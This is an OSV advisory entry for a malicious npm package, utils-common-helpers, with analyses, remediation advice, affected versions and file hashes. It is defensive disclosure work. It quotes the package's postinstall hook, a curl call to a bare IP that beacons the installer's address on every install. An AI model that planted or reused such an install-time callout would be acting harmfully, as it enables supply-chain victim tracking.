MAL-2026-5911

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/utils-common-helpers/MAL-2026-5911.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5911
Aliases
  • GHSA-fq4g-5xjj-r935
Published
2026-06-16T17:36:03Z
Modified
2026-08-21T12:30:11Z
Summary
Malicious code in utils-common-helpers (npm)
Details

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Source: amazon-inspector (e6999f05f6036baf4f6d45de0c55c6dd63452dc59ab6ebcbad0ffebf93e60584)

package.json declares a postinstall lifecycle hook that runs curl -s http://8.140.205.78 -o /dev/null on every install. The package's only functional code is a trivial hello() helper in index.js that returns the string 'hello', which is inconsistent with the declared purpose of 'Common utility helpers for frontend projects'. The lifecycle network call has no relation to any advertised functionality and serves only to disclose the installer's public IP address and install timing to the operator of the bare IP 8.140.205.78. This is a classic install-counter / victim-discovery beacon pattern: a throwaway lure package whose real purpose is the install-time callout. Plain HTTP to a bare IP (no TLS, no domain, no documented purpose) is inconsistent with any legitimate telemetry shape.

Source: ghsa-malware (5d7c362bd8c9dbbe6e906877925eb6bd5d2facdacd7decdd16c59bea3dec7762)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-006802",
            "import_time": "2026-06-16T18:10:21.252996815Z",
            "modified_time": "2026-06-16T17:36:03Z",
            "sha256": "e6999f05f6036baf4f6d45de0c55c6dd63452dc59ab6ebcbad0ffebf93e60584",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "GHSA-fq4g-5xjj-r935",
            "import_time": "2026-08-21T12:26:03.490443114Z",
            "modified_time": "2026-08-21T11:37:36Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "5d7c362bd8c9dbbe6e906877925eb6bd5d2facdacd7decdd16c59bea3dec7762",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / utils-common-helpers

Package

Name
utils-common-helpers
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Purl
pkg:npm/utils-common-helpers

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "1ba6e1d9d7952c1490d10a95e55cf2a26ed6e6b23dbf5173f70a93f0a5d8816d",
            "tlsh": "54e07d3001209933a6dc97050e7d6105a6f24f1a128079182347112903ccbb554bfb0e"
        },
        {
            "path": "index.js",
            "sha256": "eb1ace7b2e955bdfe16f8232de9e385b0b9ebb7efd75cedd7ed8bbb2b4d8b52f",
            "tlsh": "ec90043153743355553ccc00f540541734d54c400507c405034cd5cc7050c3400c44c4"
        }
    ],
    "package_integrity": [
        {
            "filename": "utils-common-helpers-1.0.0.tgz",
            "hashes": {
                "sha1": "19bfc8115ef15b0e29e62893877e788d4a7c2f21",
                "sha512_sri": "sha512-0TcXzqhu9N5QOIeRFSgZ1axG/f9lEVLbRHFg1FvOWLJyUWet/0qcA9zmyGMq/1C7k0RwUw1eL2lhyzhhNodtig=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/utils-common-helpers/MAL-2026-5911.json"